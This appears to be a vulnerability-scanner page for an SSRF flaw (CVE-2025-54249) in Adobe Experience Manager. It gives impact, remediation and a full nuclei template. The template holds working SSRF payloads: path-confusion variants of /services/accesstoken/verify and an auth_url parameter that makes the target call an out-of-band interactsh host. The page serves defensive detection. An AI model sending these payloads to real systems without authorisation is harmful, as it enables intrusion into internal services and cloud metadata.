Adobe Experience Manager ≤ 6.5.23.0 – SSRF

mediumseverity

1.9%likelihood of exploitation, next 30 days

80%of all CVEs are less likely

Readycheck to confirm it

Adobe Experience Manager versions 6.5.23.0 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in a Security feature bypass

Impact

Unauthenticated attackers can bypass security feature restrictions and force the server to make requests to arbitrary URLs, potentially enabling access to internal services and metadata endpoints.

Fix

Upgrade Adobe Experience Manager to a version later than 6.5.23.0 that properly validates redirect URLs and implements SSRF protections.

How to confirm it

Send: POST /services/accesstoken/verify;x='.pdf/x'
Positive when: status_code == 200 and contains_any(body,'&lt;html') AND contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2025-54249 -u <target>

The full check

id: CVE-2025-54249

info:
  name: Adobe Experience Manager ≤ 6.5.23.0 – SSRF
  author: DhiyaneshDk,assetnote
  severity: medium
  description: |
    Adobe Experience Manager versions 6.5.23.0 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in a Security feature bypass
  impact: |
    Unauthenticated attackers can bypass security feature restrictions and force the server to make requests to arbitrary URLs, potentially enabling access to internal services and metadata endpoints.
  remediation: |
    Upgrade Adobe Experience Manager to a version later than 6.5.23.0 that properly validates redirect URLs and implements SSRF protections.
  reference:
    - https://github.com/assetnote/hopgoblin/blob/main/hopgoblin.py
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54251
    - https://helpx.adobe.com/security/products/experience-manager/apsb25-90.html
  metadata:
    verified: true
    max-request: 6
    vendor: adobe
    product: experience_manager
    fofa-query: body="/libs/granite/core/content/login.html"
  tags: cve,cve2025,adobe,aem,ssrf,oast,oob,vkev,vuln

http:
  - raw:
      - |
        POST /services/accesstoken/verify;x='.pdf/x' HTTP/1.1
        Host: {{Hostname}}
        User-Agent: hopgoblin/1.0
        Accept-Encoding: gzip, deflate, br
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
        Connection: keep-alive
        Cache-Control: max-age=0
        Sec-Ch-Ua: "Google Chrome";v="139", "Not=A?Brand";v="8", "Chromium";v="139"
        Sec-Ch-Ua-Mobile: ?0
        Sec-Ch-Ua-Platform: "macOS"
        Accept-Language: en-US;q=0.9,en;q=0.8
        Sec-Fetch-Site: none
        Sec-Fetch-Mode: navigate
        Sec-Fetch-User: ?1
        Sec-Fetch-Dest: document
        Content-Type: application/x-www-form-urlencoded

        auth_url=https%3A%2F%2F{{interactsh-url}}

    payloads:
      path:
        - "/services/accesstoken/verify;x='.pdf/x'"
        - "/services/accesstoken/verify;x='.ico/x'"
        - "/services/accesstoken/verify;x='.html/x'"
        - "/services/accesstoken/verify;x='.css/x'"
        - "/services/accesstoken/verify;x='x/graphql/execute/json/x'"
        - "/graphql/execute.json/..%2F../services/accesstoken/verify"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_any(body,'&lt;html')"
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "http"

    extractors:
      - type: dsl
        dsl:
          - 'interactsh_protocol'
          - 'interactsh_request'

References

Use this check only on systems you are authorised to test. Where the data comes from